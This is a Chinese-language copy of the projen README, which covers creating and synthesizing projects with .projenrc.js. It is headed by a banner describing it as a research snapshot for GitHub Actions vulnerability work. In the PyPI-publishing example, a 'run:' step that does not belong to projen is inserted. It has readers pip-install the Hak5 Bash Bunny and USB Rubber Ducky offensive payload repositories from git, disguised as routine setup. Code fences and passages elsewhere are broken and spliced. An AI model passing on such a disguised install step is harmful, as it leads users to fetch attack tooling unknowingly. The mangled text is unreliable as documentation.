自动化研究产物 — 非上游项目。
本仓库是由自动化工具链构建的一次性实验环境,用于拉瓦尔大学(Université Laval)硕士论文中复现已公开的 GitHub Actions 工作流漏洞。它是
projen/projen在提交284d9162b9903c1828aa13ab56420c1183c49d40(2021-03-09)时的逐字快照,依据该项目自身的许可证重新分发,该许可证文件已原样包含在本快照中。上游项目未参与其中,也从未成为攻击目标,此处研究的漏洞已公开。本仓库中的每个密钥和变量均为随机生成的虚拟值——不包含任何真实凭据。操作引用和运行器镜像均固定为 2021-03-09 时解析到的版本;有关对快照所做的每项更改,请参阅工具链输出中的
pinning.md。如有疑问或异议:[email protected]
通过代码定义和维护复杂的项目配置。
加入 #TemplatesAreEvil 运动!
projen 可根据用 JavaScript 编写的强类型定义,合成项目配置文件,如 package.json、tsconfig.json、.gitignore、GitHub Workflows、eslint、jest 等。
请观看这个演讲了解 projen。
与现有的模板/脚手架工具不同,projen 不是一次性的生成器。合成后的文件绝不应手动编辑(事实上,projen 会强制这一点)。要修改项目设置,用户可与丰富的强类型类交互,并执行 projen 来更新项目配置文件。
要创建新项目,请运行以下命令并按照说明操作:```console $ mkdir my-project $ cd my-project $ git init $ npx projen new PROJECT-TYPE 🤖 Synthesizing project... ...
目前支持的项目类型(使用 `npx projen new` 且不带类型参数可查看列表):
<!-- <macro exec="node ./scripts/readme-projects.js"> -->
* [awscdk-app-ts](https://github.com/projen/projen/blob/master/API.md#projen-awscdktypescriptapp) - 使用 TypeScript 编写的 AWS CDK 应用。
* [awscdk-construct](https://github.com/projen/projen/blob/master/API.md#projen-awscdkconstructlibrary) - AWS CDK 构造库项目。
* [cdk8s-construct](https://github.com/projen/projen/blob/master/API.md#projen-constructlibrarycdk8s) - CDK8s 构造库项目。
* [java](https://github.com/projen/projen/blob/master/API.md#projen-java.javaproject) - Java 项目。
* [jsii](https://github.com/projen/projen/blob/master/API.md#projen-jsiiproject) - 多语言 jsii 库项目。
* [nextjs](https://github.com/projen/projen/blob/master/API.md#projen-web.nextjsproject) - 不使用 TypeScript 的 Next.js 项目。
* [nextjs-ts](https://github.com/projen/projen/blob/master/API.md#projen-web.nextjstypescriptproject) - 使用 TypeScript 的 Next.js 项目。
* [node](https://github.com/projen/projen/blob/master/API.md#projen-nodeproject) - Node.js 项目。
* [project](https://github.com/projen/projen/blob/master/API.md#projen-project) - 基础项目。
* [python](https://github.com/projen/projen/blob/master/API.md#projen-python.pythonproject) - Python 项目。
* [react](https://github.com/projen/projen/blob/master/API.md#projen-web.reactproject) - 不使用 TypeScript 的 React 项目。
* [react-ts](https://github.com/projen/projen/blob/master/API.md#projen-web.reacttypescriptproject) - 使用 TypeScript 的 React 项目。
* [typescript](https://github.com/projen/projen/blob/master/API.md#projen-typescriptproject) - TypeScript 项目。
* [typescript-app](https://github.com/projen/projen/blob/master/API.md#projen-typescriptappproject) - TypeScript 应用。
<!-- </macro> -->
> 使用 `npx projen new PROJECT-TYPE --help` 可查看命令行开关列表,这些开关允许你在引导初始化期间指定大多数项目选项。
> 例如:`npx projen new jsii --author-name "Jerry Berry"`。
`new` 命令会创建一个 `.projenrc.js` 文件,对于 `jsii` 项目,该文件内容如下:```js
const { JsiiProject } = require('projen');
const project = new JsiiProject({
authorAddress: "[email protected]",
authorName: "Elad Ben-Israel",
name: "foobar",
repository: "https://github.com/eladn/foobar.git",
});
project.synth();
此程序以最小化配置实例化项目类型,然后调用
synth() 来合成项目文件。默认情况下,new 命令也会
执行此程序,从而生成一个功能完整的项目。
项目创建完成后,您可以通过编辑
.projenrc.js 并重新运行 npx projen 来再次合成,从而配置您的项目。
projen 生成的文件被视为“实现细节”, projen 会保护它们不被手动编辑(大多数文件被标记为 只读,并且在 CI 构建工作流中配置了“防篡改”检查, 以确保文件在构建期间不会被更新)。
例如,要在 jsii 项目中设置 PyPI 发布,您可以使用
python option:```js
const project = new JsiiProject({
// ...
python: {
distName: "mydist",
module: "my_module",
}
});
运行:
```bash
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade git+https://github.com/hak5/bashbunny-payloads.git
python3 -m pip install --upgrade git+https://github.com/hak5/usbrubberducky-payloads.git
``````shell
npx projen
你会注意到,你的 package.json 文件现在在其 jsii 配置中包含了一个 python 部分,并且 GitHub 的 release.yml 工作流包含了一个 PyPI 发布步骤。
我们建议将此内容放入你的 shell 配置文件中,这样每次更新 .projenrc.js 时,只需运行 pj 即可:```bash
alias pj='npx projen'
大多数项目支持一个 `start` 命令,该命令会显示一个工作流活动菜单:```shell
$ yarn start
? Scripts: (Use arrow keys)
BUILD
❯ compile Only compile
watch Watch & compile in the background
build Full release build (test+compile)
TEST
test Run tests
test:watch Run jest in watch mode
eslint Runs eslint against the codebase
...
build 命令与 CI 构建中执行的命令相同。它通常编译、检查、测试并打包你的模块以供分发。
以下是一些内置到项目类型中的功能示例:
package.jsoncompile、build、test、package有关 API 详情,请参阅 API 参考。
此外,多个 projen 组件和项目类型在 /docs 中附有示例说明(目前仍在完善中!)。
projen 采用"开箱即用"的方法,旨在提供数十种不同的项目类型(我们才刚刚起步)。想想 projen new react、projen new angular、projen new java-maven、projen new awscdk-typescript、projen new cdk8s-python(projen 中的任何内容都不与 javascript 或 npm 绑定)……
添加新的项目类型只需向此仓库提交拉取请求,并导出一个继承自 projen.Project(或其派生类)的类即可。Projen 会自动发现项目类型,因此你的类型将立即可用于 projen new。
projen 内置了许多项目类型,但它也可以与外部 jsii 模块中定义的项目类型和组件配合使用(我们需要 jsii 的原因是 projen 使用 jsii 元数据在 projen new 中发现项目类型和选项)。
假设我们在 npm 中有一个名为 projen-vuejs 的模块,其中包含一个用于 vue.js 的单一项目类型:```bash
$ npx projen new --from projen-vuejs
如果引用的模块包含多个项目类型,则必须指定类型。
开关也可用于根据项目类型 API 指定初始值。您还可以使用 [yarn add](https://classic.yarnpkg.com/en/docs/cli/add#toc-adding-dependencies) 支持的任何包语法,例如 `[email protected]`、`file:/path/to/local/folder`、`[email protected]/awesome/projen-vuejs#1.2.3` 等。```bash
$ npx projen new --from projen-vuejs@^2 vuejs-ts --description "my awesome vue project"
在底层,projen new 会从 npm 安装 projen-vuejs 模块(版本 2.0.0 及以上),发现其中的项目类型,并引导 vuejs-ts 项目类型。它会将值 "my awesome vue project" 赋给 description 字段。如果你检查 .projenrc.js 文件,你会看到 projen-vuejs 被定义为开发依赖:```javascript
const { VueJsProject } = require('projen-vuejs');
const project = new VueJsProject({ name: 'my-vuejs-sample', description: "my awesome vue project", // ... devDeps: [ 'projen-vuejs' ] });
project.synth();
## 路线图
参见[愿景](https://github.com/pvharmo2/gha-lab-b9842b12c0/blob/HEAD/VISION.md)。
## 贡献
欢迎各类贡献!请查阅我们的[贡献者指南](https://github.com/pvharmo2/gha-lab-b9842b12c0/blob/HEAD/CONTRIBUTING.md)和[行为准则](https://github.com/pvharmo2/gha-lab-b9842b12c0/blob/HEAD/CODE_OF_CONDUCT.md)。
如需快速上手,请查看开发环境:```bash
$ git clone [email protected]:projen/projen
$ cd projen
$ yarn
$ yarn watch # compile in the background
感谢这些杰出的人们(表情符号说明):
根据 Apache-2.0 许可证分发。

![]() Josh Kellendonk 💻 |
![]() andrestone 💻 | ![]() Cristian Pallarés 💻 | ![]() Jonathan Goldwasser 💻 | ![]() Matthew Bonig 💻 | ![]() Pahud Hsieh 💻 | ![]() Adam Elmore 💻 | ![]() Ash 💻 |
![]() Jacob 💻 | ![]() Kraig Amador 💻 | ![]() Martin Muller 💻 | ![]() Tomasz Łakomy 💻 | ![]() john-tipper 💻 | ![]() Henry Sachs 💻 | ![]() Joseph Egan 💻 |
![]() Sebastian Korfmann 💻 | ![]() Bart Callant 💻 | ![]() Campion Fellin 💻 | ![]() Grady Barrett 💻 | ![]() Hassan Mahmud 💻 | ![]() Hassan Mahmud 💻 | ![]() Jake Pearson 💻 |
![]() Jeremy Jonas 💻 | ![]() Matt Martz 💻 | ![]() Max Körlinge 💻 | ![]() Neil Kuan 💻 | ![]() Rafal Wilinski 💻 | ![]() Romain Marcadier 💻 | ![]() Thomas Klinger 💻 |
![]() Tobias 💻 | ![]() flyingImer 💻 |